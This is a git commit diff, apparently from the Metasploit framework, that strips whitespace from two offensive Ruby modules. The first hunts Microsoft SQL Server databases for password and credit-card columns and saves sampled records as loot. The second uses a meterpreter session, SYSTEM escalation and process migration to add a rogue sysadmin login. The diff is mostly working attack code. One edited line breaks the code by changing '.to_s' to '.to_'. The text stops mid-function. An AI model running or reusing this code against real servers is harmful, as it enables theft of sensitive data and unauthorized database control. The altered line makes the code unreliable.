Dropping trailing whitespace

unstable
Tod Beardsley 2012-09-04 15:37:04 -05:00
parent 69b2f95a6f
commit f80abaf0d1
2 changed files with 325 additions and 325 deletions

View File

@ -10,15 +10,15 @@ class Metasploit3 < Msf::Auxiliary
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server - Find and Sample Data',
'Description' => %q{This script will search through all of the non-default databases
on the SQL Server for columns that match the keywords defined in the TSQL KEYWORDS
option. If column names are found that match the defined keywords and data is present
in the associated tables, the script will select a sample of the records from each of
'Description' => %q{This script will search through all of the non-default databases
on the SQL Server for columns that match the keywords defined in the TSQL KEYWORDS
option. If column names are found that match the defined keywords and data is present
in the associated tables, the script will select a sample of the records from each of
the affected tables. The sample size is determined by the SAMPLE_SIZE option, and results
output in a CSV format.
Thank you Dijininja for the IDF module which was my inspiration
for this. Also, thank you humble-desser, DarkOperator, HDM, and especially todb for
output in a CSV format.
Thank you Dijininja for the IDF module which was my inspiration
for this. Also, thank you humble-desser, DarkOperator, HDM, and especially todb for
helping me refine this MSF Module.
},
'Author' => [ 'Scott Sutherland (nullbind) <scott.sutherland@netspi.com>' ],
@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptString.new('KEYWORDS', [ true, 'Keywords to search for','passw|credit|card']),
OptInt.new('SAMPLE_SIZE', [ true, 'Number of rows to sample', '1']),
OptInt.new('SAMPLE_SIZE', [ true, 'Number of rows to sample', '1']),
], self.class)
end
@ -39,12 +39,12 @@ class Metasploit3 < Msf::Auxiliary
print_line("=" * str.length)
end
def run_host(ip)
def run_host(ip)
sql_statement()
end
def sql_statement()
#DEFINED HEADER TEXT
headings = [
["Server","Database", "Schema", "Table", "Column", "Data Type", "Sample Data","Row Count"]
@ -53,12 +53,12 @@ class Metasploit3 < Msf::Auxiliary
#DEFINE SEARCH QUERY AS VARIABLE
sql = "
-- CHECK IF VERSION IS COMPATABLE = > than 2000
IF (SELECT SUBSTRING(CAST(SERVERPROPERTY('ProductVersion') as VARCHAR), 1,
IF (SELECT SUBSTRING(CAST(SERVERPROPERTY('ProductVersion') as VARCHAR), 1,
CHARINDEX('.',cast(SERVERPROPERTY('ProductVersion') as VARCHAR),1)-1)) > 0
BEGIN
-- TURN OFF ROW COUNT
SET NOCOUNT ON;
SET NOCOUNT ON;
--------------------------------------------------
-- SETUP UP SAMPLE SIZE
--------------------------------------------------
@ -68,37 +68,37 @@ class Metasploit3 < Msf::Auxiliary
--------------------------------------------------
-- SETUP KEYWORDS TO SEARCH
--------------------------------------------------
DECLARE @KEYWORDS varchar(800);
DECLARE @KEYWORDS varchar(800);
SET @KEYWORDS = '#{datastore['KEYWORDS']}|';
--------------------------------------------------
--SETUP WHERE STATEMENT CONTAINING KEYWORDS
--------------------------------------------------
DECLARE @SEARCH_TERMS varchar(800);
DECLARE @SEARCH_TERMS varchar(800);
SET @SEARCH_TERMS = ''; -- Leave this blank
-- START WHILE LOOP HERE -- BEGIN TO ITTERATE THROUGH KEYWORDS
WHILE LEN(@KEYWORDS) > 0
WHILE LEN(@KEYWORDS) > 0
BEGIN
--SET VARIABLES UP FOR PARSING PROCESS
DECLARE @change int
DECLARE @keyword varchar(800)
--SET KEYWORD CHANGE TRACKER
SELECT @change = CHARINDEX('|',@KEYWORDS);
--PARSE KEYWORD
SELECT @change = CHARINDEX('|',@KEYWORDS);
--PARSE KEYWORD
SELECT @keyword = SUBSTRING(@KEYWORDS,0,@change) ;
-- PROCESS KEYWORD AND GENERATE WHERE CLAUSE FOR IT
-- PROCESS KEYWORD AND GENERATE WHERE CLAUSE FOR IT
SELECT @SEARCH_TERMS = 'LOWER(COLUMN_NAME) like ''%'+@keyword+'%'' or '+@SEARCH_TERMS
-- REMOVE PROCESSED KEYWORD
SET @KEYWORDS = SUBSTRING(@KEYWORDS,@change+1,LEN(@KEYWORDS));
END
-- REMOVE UNEEDED
END
-- REMOVE UNEEDED
SELECT @SEARCH_TERMS = SUBSTRING(@SEARCH_TERMS,0,LEN(@SEARCH_TERMS)-2);
--------------------------------------------------
@ -107,21 +107,21 @@ class Metasploit3 < Msf::Auxiliary
USE master;
IF OBJECT_ID('tempdb..##mytable') IS NOT NULL DROP TABLE ##mytable;
IF OBJECT_ID('tempdb..##mytable') IS NULL
BEGIN
IF OBJECT_ID('tempdb..##mytable') IS NULL
BEGIN
CREATE TABLE ##mytable (
server_name varchar(800),
database_name varchar(800),
table_schema varchar(800),
table_name varchar(800),
table_name varchar(800),
column_name varchar(800),
column_data_type varchar(800)
)
)
END
IF OBJECT_ID('tempdb..##mytable2') IS NOT NULL DROP TABLE ##mytable2;
IF OBJECT_ID('tempdb..##mytable2') IS NULL
BEGIN
IF OBJECT_ID('tempdb..##mytable2') IS NULL
BEGIN
CREATE TABLE ##mytable2 (
server_name varchar(800),
database_name varchar(800),
@ -131,13 +131,13 @@ class Metasploit3 < Msf::Auxiliary
column_data_type varchar(800),
column_value varchar(800),
column_data_row_count varchar(800)
)
)
END
--------------------------------------------------
-- CURSOR1
-- ENUMERATE COLUMNS FROM EACH DATABASE THAT
-- CONTAIN KEYWORD AND WRITE THEM TO A TEMP TABLE
-- ENUMERATE COLUMNS FROM EACH DATABASE THAT
-- CONTAIN KEYWORD AND WRITE THEM TO A TEMP TABLE
--------------------------------------------------
-- SETUP SOME VARIABLES FOR THE MYCURSOR1
@ -147,26 +147,26 @@ class Metasploit3 < Msf::Auxiliary
--------------------------------------------------------------------
-- CHECK IF ANY NON-DEFAULT DATABASE EXIST
--------------------------------------------------------------------
IF (SELECT count(*)
FROM master..sysdatabases
WHERE name NOT IN ('master','tempdb','model','msdb')
and HAS_DBACCESS(name) <> 0) <> 0
IF (SELECT count(*)
FROM master..sysdatabases
WHERE name NOT IN ('master','tempdb','model','msdb')
and HAS_DBACCESS(name) <> 0) <> 0
BEGIN
DECLARE MY_CURSOR1 CURSOR
FOR
SELECT name FROM master..sysdatabases
WHERE name NOT IN ('master','tempdb','model','msdb')
SELECT name FROM master..sysdatabases
WHERE name NOT IN ('master','tempdb','model','msdb')
and HAS_DBACCESS(name) <> 0;
OPEN MY_CURSOR1
FETCH NEXT FROM MY_CURSOR1 INTO @var1
WHILE @@FETCH_STATUS = 0
BEGIN
WHILE @@FETCH_STATUS = 0
BEGIN
---------------------------------------------------
-- SEARCH FOR KEYWORDS/INSERT RESULTS INTO MYTABLE
-- SEARCH FOR KEYWORDS/INSERT RESULTS INTO MYTABLE
---------------------------------------------------
SET @var2 = '
SET @var2 = '
INSERT INTO ##mytable
SELECT @@SERVERNAME as SERVER_NAME,
TABLE_CATALOG as DATABASE_NAME,
@ -175,15 +175,15 @@ class Metasploit3 < Msf::Auxiliary
COLUMN_NAME,
DATA_TYPE
FROM ['+@var1+'].[INFORMATION_SCHEMA].[COLUMNS] WHERE '
--APPEND KEYWORDS TO QUERY
DECLARE @fullquery varchar(800);
SET @fullquery = @var2+@SEARCH_TERMS;
EXEC(@fullquery);
SET @fullquery = @var2+@SEARCH_TERMS;
EXEC(@fullquery);
FETCH NEXT FROM MY_CURSOR1 INTO @var1
END
END
CLOSE MY_CURSOR1
DEALLOCATE MY_CURSOR1
-------------------------------------------------
@ -192,13 +192,13 @@ class Metasploit3 < Msf::Auxiliary
-- THAT MATCH THE DEFINED KEYWORDS
-- NOTE: THIS WILL NOT SAMPLE EMPTY TABLES
-------------------------------------------------
IF (SELECT COUNT(*) FROM ##mytable) < 1
BEGIN
BEGIN
SELECT 'No columns where found that match the defined keywords.' as Message;
END
ELSE
BEGIN
BEGIN
DECLARE @var_server varchar(800)
DECLARE @var_database varchar(800)
DECLARE @var_table varchar(800)
@ -207,7 +207,7 @@ class Metasploit3 < Msf::Auxiliary
DECLARE @var_column varchar(800)
DECLARE @myquery varchar(800)
DECLARE @var_column_data_row_count varchar(800)
DECLARE MY_CURSOR2 CURSOR
FOR
SELECT server_name,database_name,table_schema,table_name,column_name,column_data_type
@ -220,8 +220,8 @@ class Metasploit3 < Msf::Auxiliary
@var_table,
@var_column,
@var_column_data_type
WHILE @@FETCH_STATUS = 0
BEGIN
WHILE @@FETCH_STATUS = 0
BEGIN
----------------------------------------------------------------------
-- ADD AFFECTED SERVER/SCHEMA/TABLE/COLUMN/DATATYPE/SAMPLE DATA TO MYTABLE2
----------------------------------------------------------------------
@ -232,21 +232,21 @@ class Metasploit3 < Msf::Auxiliary
-- CREATE TEMP TABLE TO GET THE COLUMN DATA ROW COUNT
IF OBJECT_ID('tempdb..#mycount') IS NOT NULL DROP TABLE #mycount
CREATE TABLE #mycount(mycount varchar(800));
-- SETUP AND EXECUTE THE COLUMN DATA ROW COUNT QUERY
SET @mycount_query = 'INSERT INTO #mycount SELECT DISTINCT
SET @mycount_query = 'INSERT INTO #mycount SELECT DISTINCT
COUNT('+@var_column+') FROM '+@var_database+'.
'+@var_table_schema+'.'+@var_table;
EXEC(@mycount_query);
-- SET THE COLUMN DATA ROW COUNT
SELECT @mycount = mycount FROM #mycount;
-- REMOVE TEMP TABLE
IF OBJECT_ID('tempdb..#mycount') IS NOT NULL DROP TABLE #mycount
SELECT @mycount = mycount FROM #mycount;
SET @myquery = '
INSERT INTO ##mytable2
-- REMOVE TEMP TABLE
IF OBJECT_ID('tempdb..#mycount') IS NOT NULL DROP TABLE #mycount
SET @myquery = '
INSERT INTO ##mytable2
(server_name,
database_name,
table_schema,
@ -254,26 +254,26 @@ class Metasploit3 < Msf::Auxiliary
column_name,
column_data_type,
column_value,
column_data_row_count)
column_data_row_count)
SELECT TOP '+@SAMPLE_COUNT+' ('''+@var_server+''') as server_name,
('''+@var_database+''') as database_name,
('''+@var_table_schema+''') as table_schema,
('''+@var_table+''') as table_name,
('''+@var_column+''') as comlumn_name,
('''+@var_column_data_type+''') as column_data_type,
'+@var_column+','+@mycount+' as column_data_row_count
FROM ['+@var_database+'].['+@var_table_schema++'].['+@var_table+']
'+@var_column+','+@mycount+' as column_data_row_count
FROM ['+@var_database+'].['+@var_table_schema++'].['+@var_table+']
WHERE '+@var_column+' IS NOT NULL;
'
'
EXEC(@myquery);
FETCH NEXT FROM MY_CURSOR2 INTO
FETCH NEXT FROM MY_CURSOR2 INTO
@var_server,
@var_database,
@var_table_schema,
@var_table,@var_column,
@var_column_data_type
END
END
CLOSE MY_CURSOR2
DEALLOCATE MY_CURSOR2
@ -289,8 +289,8 @@ class Metasploit3 < Msf::Auxiliary
cast(column_name as char) as column_name,
cast(column_data_type as char) as column_data_type,
cast(column_value as char) as column_data_sample,
cast(column_data_row_count as char) as column_data_row_count FROM ##mytable2
END
cast(column_data_row_count as char) as column_data_row_count FROM ##mytable2
END
ELSE
BEGIN
SELECT DISTINCT cast(server_name as CHAR) as server_name,
@ -300,7 +300,7 @@ class Metasploit3 < Msf::Auxiliary
cast(column_name as char) as column_name,
cast(column_data_type as char) as column_data_type,
cast(column_value as char) as column_data_sample,
cast(column_data_row_count as char) as column_data_row_count FROM ##mytable2
cast(column_data_row_count as char) as column_data_row_count FROM ##mytable2
END
END
-----------------------------------
@ -308,59 +308,59 @@ class Metasploit3 < Msf::Auxiliary
-----------------------------------
IF OBJECT_ID('tempdb..##mytable') IS NOT NULL DROP TABLE ##mytable;
IF OBJECT_ID('tempdb..##mytable2') IS NOT NULL DROP TABLE ##mytable2;
END
ELSE
BEGIN
----------------------------------------------------------------------
-- RETURN ERROR MESSAGES IF THERE ARE NOT DATABASES TO ACCESS
----------------------------------------------------------------------
IF (SELECT count(*) FROM master..sysdatabases
WHERE name NOT IN ('master','tempdb','model','msdb')) < 1
IF (SELECT count(*) FROM master..sysdatabases
WHERE name NOT IN ('master','tempdb','model','msdb')) < 1
SELECT 'No non-default databases exist to search.' as Message;
ELSE
SELECT 'Non-default databases exist,
but the current user does not have
the privileges to access them.' as Message;
SELECT 'Non-default databases exist,
but the current user does not have
the privileges to access them.' as Message;
END
END
else
BEGIN
SELECT 'This module only works on SQL Server 2005 and above.';
END
END
SET NOCOUNT OFF;"
#STATUSING
print_line(" ")
print_status("Attempting to connect to the SQL Server at #{rhost}:#{rport}...")
#CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING
begin
result = mssql_query(sql, false) if mssql_login_datastore
column_data = result[:rows]
print_status("Successfully connected to #{rhost}:#{rport}")
print_status("Successfully connected to #{rhost}:#{rport}")
rescue
print_status ("Failed to connect to #{rhost}:#{rport}.")
return
end
end
#CREATE TABLE TO STORE SQL SERVER DATA LOOT
sql_data_tbl = Rex::Ui::Text::Table.new(
'Header' => 'SQL Server Data',
'Ident' => 1,
'Columns' => ['Server', 'Database', 'Schema', 'Table', 'Column', 'Data Type', 'Sample Data', 'Row Count']
)
#STATUSING
)
#STATUSING
print_status("Attempting to retrieve data ...")
if (column_data.count < 7)
if (column_data.count < 7)
#Save loot status
save_loot="no"
#Return error from SQL server
column_data.each { |row|
print_status("#{row.to_s.gsub("[","").gsub("]","").gsub("\"","")}")
@ -372,21 +372,21 @@ class Metasploit3 < Msf::Auxiliary
save_loot="yes"
column_data.each { |row|
0.upto(7) { |col|
row[col] = row[col].strip.to_s
}
row[col] = row[col].strip.to_
}
}
print_line(" ")
end
#SETUP ROW WIDTHS
widths = [0, 0, 0, 0, 0, 0, 0, 0]
widths = [0, 0, 0, 0, 0, 0, 0, 0]
(column_data|headings).each { |row|
0.upto(7) { |col|
widths[col] = row[col].to_s.length if row[col].to_s.length > widths[col]
0.upto(7) { |col|
widths[col] = row[col].to_s.length if row[col].to_s.length > widths[col]
}
}
#PRINT HEADERS
}
#PRINT HEADERS
buffer1 = ""
buffer2 = ""
headings.each { |row|
@ -394,10 +394,10 @@ class Metasploit3 < Msf::Auxiliary
buffer1 += row[col].ljust(widths[col] + 1)
buffer2 += row[col]+ ","
}
print_line(buffer1)
buffer2 = buffer2.chomp(",")+ "\n"
print_line(buffer1)
buffer2 = buffer2.chomp(",")+ "\n"
}
#PRINT DIVIDERS
buffer1 = ""
buffer2 = ""
@ -406,12 +406,12 @@ class Metasploit3 < Msf::Auxiliary
divider = "=" * widths[col] + " "
buffer1 += divider.ljust(widths[col] + 1)
}
print_line(buffer1)
print_line(buffer1)
}
#PRINT DATA
buffer1 = ""
buffer2 = ""
buffer2 = ""
print_line("")
column_data.each { |row|
0.upto(7) { |col|
@ -419,17 +419,17 @@ class Metasploit3 < Msf::Auxiliary
buffer2 += row[col] + ","
}
print_line(buffer1)
buffer2 = buffer2.chomp(",")+ "\n"
buffer2 = buffer2.chomp(",")+ "\n"
#WRITE QUERY OUTPUT TO TEMP REPORT TABLE
sql_data_tbl << [row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7]]
sql_data_tbl << [row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7]]
buffer1 = ""
buffer2 = ""
print_line(buffer1)
print_line(buffer1)
}
disconnect
disconnect
this_service = nil
if framework.db and framework.db.active
this_service = report_service(
@ -439,14 +439,14 @@ class Metasploit3 < Msf::Auxiliary
:proto => 'tcp'
)
end
#CONVERT TABLE TO CSV AND WRITE TO FILE
if (save_loot=="yes")
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_sqlserver_query_results.csv"
path = store_loot("mssql.data", "text/plain", datastore['RHOST'], sql_data_tbl.to_csv, filename, "SQL Server query results",this_service)
print_status("Query results have been saved to: #{path}")
end
end
end
end
end
end

View File

@ -10,18 +10,18 @@ class Metasploit3 < Msf::Post
def initialize(info={})
super( update_info( info,
'Name' => 'SQL Server - Local Authorization Bypass',
'Description' => %q{ When this module is executed via an existing
meterpreter session it can be used to add a sysadmin to local
SQL Server instances. It first attempts to gain LocalSystem privileges
'Description' => %q{ When this module is executed via an existing
meterpreter session it can be used to add a sysadmin to local
SQL Server instances. It first attempts to gain LocalSystem privileges
using the "getsystem" escalation methods. If those privileges are not
sufficient to add a sysadmin, then it will migrate to the SQL Server
service process associated with the target instance. The sysadmin
login is added to the local SQL Server using native SQL clients and
stored procedures. If no instance is specified then the first identified
instance will be used.
Why is this possible? By default in SQL Server 2k-2k8, LocalSystem
is assigned syadmin privileges. Microsoft changed the default in
sufficient to add a sysadmin, then it will migrate to the SQL Server
service process associated with the target instance. The sysadmin
login is added to the local SQL Server using native SQL clients and
stored procedures. If no instance is specified then the first identified
instance will be used.
Why is this possible? By default in SQL Server 2k-2k8, LocalSystem
is assigned syadmin privileges. Microsoft changed the default in
SQL Server 2012 so that LocalSystem no longer has sysadmin privileges.
However, this can be overcome by migrating to the SQL Server process.},
'License' => MSF_LICENSE,
@ -41,162 +41,162 @@ class Metasploit3 < Msf::Post
end
def run
# Set verbosity level
verbose = datastore['verbose'].to_s.downcase
verbose = datastore['verbose'].to_s.downcase
# Set instance name (if specified)
instance = datastore['instance'].to_s.upcase
# Display target
print_status("Running module against #{sysinfo['Computer']}")
# Get LocalSystem privileges
print_status("Running module against #{sysinfo['Computer']}")
# Get LocalSystem privileges
system_status = givemesystem
if system_status[0]
if system_status[0]
# Check if a SQL Server service is running
service_instance = check_for_sqlserver(instance)
service_instance = check_for_sqlserver(instance)
if service_instance != 0
# Identify available native SQL client
sql_client = get_sql_client()
# Identify available native SQL client
sql_client = get_sql_client()
if sql_client != 0
# Check if remove_login was selected
if datastore['REMOVE_LOGIN'].to_s.downcase == "false"
# Add new login
# Add new login
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
if add_login_status == 1
# Add login to sysadmin fixed server role
# Add login to sysadmin fixed server role
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
else
else
if add_login_status != "userexists" then
# Attempt to impersonate sql server service account (for sql server 2012)
# Attempt to impersonate sql server service account (for sql server 2012)
impersonate_status = impersonate_sql_user(service_instance,verbose)
if impersonate_status == 1
# Add new login
if impersonate_status == 1
# Add new login
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
if add_login_status == 1
# Add login to sysadmin fixed server role
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
# Add login to sysadmin fixed server role
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
end
end
end
end
else
else
# Remove login
remove_status = remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
if remove_status == 0
# Attempt to impersonate sql server service account (for sql server 2012)
# Attempt to impersonate sql server service account (for sql server 2012)
impersonate_status = impersonate_sql_user(service_instance,verbose)
if impersonate_status == 1
# Remove login
# Remove login
remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
end
end
end
end
end
end
else
print_error("Could not obtain LocalSystem privileges")
end
# return to original priv context
session.sys.config.revert_to_self
session.sys.config.revert_to_self
end
## ----------------------------------------------
## Method to check if the SQL Server service is running
## ----------------------------------------------
def check_for_sqlserver(instance)
print_status("Checking for SQL Server...")
print_status("Checking for SQL Server...")
# Get Data
running_services = run_cmd("net start")
running_services = run_cmd("net start")
# Parse Data
services_array = running_services.split("\n")
services_array = running_services.split("\n")
# Check for the SQL Server service
services_array.each do |service|
if instance == "" then
services_array.each do |service|
if instance == "" then
# Target default instance
if service =~ /SQL Server \(| MSSQLSERVER/ then
if service =~ /SQL Server \(| MSSQLSERVER/ then
# Display results
service_instance = service.gsub(/SQL Server \(/, "").gsub(/\)/, "").lstrip.rstrip
print_good("SQL Server instance found: #{service_instance}")
print_good("SQL Server instance found: #{service_instance}")
return service_instance
end
else
# Target user defined instance
if service =~ /#{instance}/ then
# Display user defined instance
print_good("SQL Server instance found: #{instance}")
if service =~ /#{instance}/ then
# Display user defined instance
print_good("SQL Server instance found: #{instance}")
return instance
end
end
end
end
# Fail
if instance == "" then
print_error("SQL Server instance NOT found")
if instance == "" then
print_error("SQL Server instance NOT found")
else
print_error("SQL Server instance \"#{instance}\" was NOT found")
print_error("SQL Server instance \"#{instance}\" was NOT found")
end
return 0
end
## ----------------------------------------------
## Method for identifying which SQL client to use
## ----------------------------------------------
def get_sql_client
print_status("Checking for native client...")
print_status("Checking for native client...")
# Get Data - osql
running_services1 = run_cmd("osql -?")
running_services1 = run_cmd("osql -?")
# Parse Data - osql
services_array1 = running_services1.split("\n")
# Check for osql
services_array1.each do |service1|
if service1 =~ /SQL Server Command Line Tool/ then
if service1 =~ /SQL Server Command Line Tool/ then
print_good("OSQL client was found")
return "osql"
end
end
end
# Get Data - sqlcmd
running_services = run_cmd("sqlcmd -?")
running_services = run_cmd("sqlcmd -?")
# Parse Data - sqlcmd
services_array = running_services.split("\n")
# Check for SQLCMD
services_array.each do |service|
if service =~ /SQL Server Command Line Tool/ then
print_good("SQLCMD client was found")
return "sqlcmd"
end
end
end
# Fail
print_error("No native SQL client was found")
return 0
@ -206,48 +206,48 @@ class Metasploit3 < Msf::Post
## Method for adding a login
## ----------------------------------------------
def add_sql_login(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
print_status("Attempting to add new login #{dbuser}...")
print_status("Attempting to add new login #{dbuser}...")
# Setup command format to accomidate version inconsistencies
if instance == ""
if instance == ""
# Check default instance name
if service_instance == "MSSQLSERVER" then
print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
else
# User defined instance
print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
end
else
# User defined instance
print_status(" o defined instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
print_status(" o defined instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
end
# Display debugging information
print_status("Running command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
print_status("Running command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
add_login_result = run_cmd("#{sqlcommand}")
# Parse Data
add_login_array = add_login_result.split("\n")
# Check if user exists
# Parse Data
add_login_array = add_login_result.split("\n")
# Check if user exists
add_login_array.each do |service|
if service =~ /already exists/ then
print_error("Unable to add login #{dbuser}, user already exists")
return "userexists"
end
return "userexists"
end
end
# check for success/fail
if add_login_result == ""
print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
return 1
else
print_error("Unabled to add login #{dbuser}")
@ -255,125 +255,125 @@ class Metasploit3 < Msf::Post
return 0
end
end
## ----------------------------------------------
## Method for adding a login to sysadmin role
## ----------------------------------------------
def add_sysadmin(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
print_status("Attempting to make #{dbuser} login a sysadmin...")
print_status("Attempting to make #{dbuser} login a sysadmin...")
# Setup command format to accomidate command inconsistencies
if instance == ""
if instance == ""
# Check default instance name
if service_instance == "MSSQLSERVER" then
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
else
if service_instance == "MSSQLSERVER" then
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 \
begin select 'bingo' end \""
begin select 'bingo' end \""
end
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
end
# Display debugging information
print_status("Running command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Display debugging information
print_status("Running command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
add_sysadmin_result = run_cmd("#{sqlcommand}")
# Parse Data
# Parse Data
add_sysadmin_array = add_sysadmin_result.split("\n")
# Check for success
check = 0
add_sysadmin_array.each do |service|
if service =~ /bingo/ then
check = 1
end
end
end
# Display results to user
if check == 1
if check == 1
print_good("Successfully added \"#{dbuser}\" to sysadmin role")
return 1
else
return 1
else
# Fail
print_error("Unabled to add #{dbuser} to sysadmin role")
print_error("Database Error:\n\n #{add_sysadmin_result}")
return 0
return 0
end
end
## ----------------------------------------------
## Method for removing login
## ----------------------------------------------
def remove_sql_login(sqlclient,dbuser,instance,service_instance,verbose)
print_status("Attempting to remove login \"#{dbuser}\"")
# Setup command format to accomidate command inconsistencies
if instance == ""
if instance == ""
# Check default instance name
if service_instance == "SQLEXPRESS" then
# Set command here for SQLEXPRESS
sqlcommand = "#{sqlclient} -E -S .\\SQLEXPRESS -Q \"sp_droplogin '#{dbuser}'\""
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_droplogin '#{dbuser}'\""
if service_instance == "SQLEXPRESS" then
# Set command here for SQLEXPRESS
sqlcommand = "#{sqlclient} -E -S .\\SQLEXPRESS -Q \"sp_droplogin '#{dbuser}'\""
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_droplogin '#{dbuser}'\""
end
else
# Set command here
else
# Set command here
sqlcommand = "#{sqlclient} -E -S .\\#{instance} -Q \"sp_droplogin '#{dbuser}'\""
end
# Display debugging information
print_status("Settings:") if verbose == "true"
print_status(" o SQL Client: #{sqlclient}") if verbose == "true"
print_status(" o User: #{dbuser}") if verbose == "true"
print_status(" o Service instance: #{service_instance}") if verbose == "true"
print_status(" o User defined instance: #{instance}") if verbose == "true"
print_status("Command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
print_status("Settings:") if verbose == "true"
print_status(" o SQL Client: #{sqlclient}") if verbose == "true"
print_status(" o User: #{dbuser}") if verbose == "true"
print_status(" o Service instance: #{service_instance}") if verbose == "true"
print_status(" o User defined instance: #{instance}") if verbose == "true"
print_status("Command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
remove_login_result = run_cmd("#{sqlcommand}")
# Parse Data
# Parse Data
remove_login_array = remove_login_result.split("\n")
# Check for success
check = 0
remove_login_array.each do |service|
if service =~ // then
check = 1
end
end
end
# Display result
if check == 0
print_good("Successfully removed login \"#{dbuser}\"")
return 1
else
if check == 0
print_good("Successfully removed login \"#{dbuser}\"")
return 1
else
# Fail
print_error("Unabled to remove login #{dbuser}")
print_error("Database Error:\n\n #{remove_login_result}")
return 0
return 0
end
end
## ----------------------------------------------
## Method for executing cmd and returning the response
##
##
## Note: This is from one of Jabra's modules - Thanks man!
## Note: This craps out when escalating from local admin to system
## I assume it has something to do with the token, but don't
## I assume it has something to do with the token, but don't
## really know.
##----------------------------------------------
def run_cmd(cmd,token=true)
opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
process = session.sys.process.execute(cmd, nil, opts)
res = ""
while (d = process.channel.read)
@ -384,17 +384,17 @@ class Metasploit3 < Msf::Post
process.close
return res
end
## ----------------------------------------------
## Method for impersonating sql server instance
## ----------------------------------------------
def impersonate_sql_user(service_instance,verbose)
# Print the current user
blah = session.sys.config.getuid if verbose == "true"
print_status("Current user: #{blah}") if verbose == "true"
blah = session.sys.config.getuid if verbose == "true"
print_status("Current user: #{blah}") if verbose == "true"
# Define target user/pid
targetuser = ""
targetpid = ""
@ -402,68 +402,68 @@ class Metasploit3 < Msf::Post
# Identify SQL Server service processes
print_status("Searching for sqlservr.exe processes not running as SYSTEM...")
session.sys.process.get_processes().each do |x|
# Search for all sqlservr.exe processes
if ( x['name'] == "sqlservr.exe" and x['user'] != "NT AUTHORITY\\SYSTEM")
if ( x['name'] == "sqlservr.exe" and x['user'] != "NT AUTHORITY\\SYSTEM")
# Found one
print_good("Found \"#{x['user']}\" running sqlservr.exe process #{x['pid']}")
print_good("Found \"#{x['user']}\" running sqlservr.exe process #{x['pid']}")
# Define target pid / user
if x['user'] =~ /NT SERVICE/ then
if x['user'] == "NT SERVICE\\MSSQL$#{service_instance}" then
if x['user'] == "NT SERVICE\\MSSQL$#{service_instance}" then
targetuser = "NT SERVICE\\MSSQL$#{service_instance}"
targetpid = x['pid']
targetpid = x['pid']
end
else
else
targetuser = x['user']
targetpid = x['pid']
end
end
end
# Attempt to migrate to target sqlservr.exe process
if targetuser == "" then
print_error("Unable to find sqlservr.exe process not running as SYSTEM")
return 0
else
else
begin
# Migrating works, but I can't rev2self after its complete
print_status("Attempting to migrate to process #{targetpid}...")
